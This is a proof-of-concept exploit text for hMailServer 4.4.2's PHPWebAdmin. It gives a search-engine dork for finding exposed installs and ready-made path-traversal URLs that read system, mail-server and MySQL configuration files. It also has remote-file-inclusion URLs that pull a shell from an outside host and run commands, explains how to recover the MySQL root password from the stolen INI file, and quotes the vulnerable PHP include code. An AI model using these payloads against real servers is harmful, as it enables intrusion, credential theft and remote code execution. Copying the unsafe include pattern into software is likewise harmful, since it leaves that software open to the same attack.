hmailserver-lfirfi.txt

`hMAilServer 4.4.2 (PHPWebAdmin) local & remote file inclusion poc  
by Nine:Situations:Group::strawdog  
------------------------------------------------------------------------  
  
our site: http://retrogod.altervista.org  
  
software site: http://www.hmailserver.com/  
description: http://en.wikipedia.org/wiki/HMailServer  
------------------------------------------------------------------------  
google dork: "PHPWebAdmin for hMailServer" intitle:PHPWebAdmin -site:hmailserver.com -dork  
  
poc:  
  
regardless of register_globals & magic_quotes_gpc:  
http://hostname/path_to_webadmin/index.php?page=background/../../../../../../../../boot.ini%00  
http://hostname/path_to_webadmin/index.php?page=background/../../Bin/hMailServer.INI%00  
http://hostname/path_to_webadmin/index.php?page=background/../../MySQL/my.ini%00  
http://hostname/path_to_webadmin/index.php?page=background/../../../../../../../..  
/../Program+Files/hmailserver/Bin/hmailserver.ini%00  
  
with register_globals = on:  
(prepare a functions.php folder on somehost.com with an index.html with your shell inside on   
a php enabled server,  
otherwise a functions.php shell on a php disabled one)  
http://hostname/path_to_webadmin/initialize.php?hmail_config[includepath]=http://www.somehost.com/&cmd=dir  
  
with register_globals = on & magic_quotes_gpc = off :  
http://hostname/path_to_webadmin/initialize.php?hmail_config[includepath]=c:\boot.ini%00  
http://hostname/path_to_webadmin/initialize.php?hmail_config[includepath]=http://www.somehost.com/shell.txt%00&cmd=dir  
http://hostname/path_to_webadmin/initialize.php?hmail_config[includepath]=c:\Program+Files\hMailServer\Bin\hMailServer.INI%00  
http://hostname/path_to_webadmin/initialize.php?hmail_config[includepath]=../Bin/hMailServer.INI%00  
  
"Bin" folder can be found in a different location, disclose the path by simply calling:  
  
http://hostname/path_to_webadmin/initialize.php  
  
interesting file:  
  
hMailServer.INI - contains two interesting fields:  
- the "Administrator password" crypted with md5,  
- by having knowledge of that you can calculate the MySQL root password,  
specified in the "password" field.  
You can do this by using the /Addons/Utilities/DecryptBlowfish.vbs script  
  
(*)  
vulnerable code, index.php:  
<?php  
  
  
error_reporting(E_ALL);  
  
if (!file_exists("config.php"))  
{  
echo "Please rename config-dist.php to config.php. The file is found in the   
  
PHPWebAdmin root folder.";  
die;  
}  
  
require_once("config.php");  
require_once("initialize.php");  
  
set_error_handler("ErrorHandler");  
  
if (is_php5())  
set_exception_handler("ExceptionHandler");  
  
  
  
$page = hmailGetVar("page");  
  
if ($page == "")  
$page = "frontpage";  
  
$isbackground = (substr($page, 0,10) == "background");  
  
  
if ($isbackground)  
$page = "$page.php";  
else  
$page = "hm_$page.php";  
  
// Check that the page really exists.  
$page = stripslashes($page);  
if (!file_exists($page))  
hmailHackingAttemp();  
  
// If it's a background page, run here.  
if ($isbackground)  
{  
include $page; //<------------------------------------------ !!!  
  
// Page is run, die now.  
die;  
}  
..  
  
for clearness, here it is hmailGetVar() function in /include/functions.php:  
..  
function hmailGetVar($p_varname, $p_defaultvalue = null)  
{  
$retval = $p_defaultvalue;  
if(isset($_GET[$p_varname]))  
{  
$retval = $_GET[$p_varname];  
}  
else if (isset($_POST[$p_varname]))  
{  
$retval = $_POST[$p_varname];  
}  
else if (isset($_REQUEST[$p_varname]))  
{  
$retval = $_REQUEST[$p_varname];  
}  
  
if (get_magic_quotes_gpc())  
$retval = stripslashes($retval);  
  
return $retval;  
}  
..  
  
so the "page" argument can be passed by $_GET[], $_POST[] or $_COOKIE[] arrays.  
Note the stripslashes(), which disable magic_quotes_gpc on every argument passed.  
  
(**)  
initialize.php:  
..  
$hmail_config['rootpath'] = str_replace("\\","/",$hmail_config['rootpath']);  
$hmail_config['includepath'] = str_replace("\\","/",$hmail_config['includepath']);  
$hmail_config['temppath'] = str_replace("\\","/",$hmail_config['temppath']);  
require_once($hmail_config['includepath'] . "functions.php");  
..  
`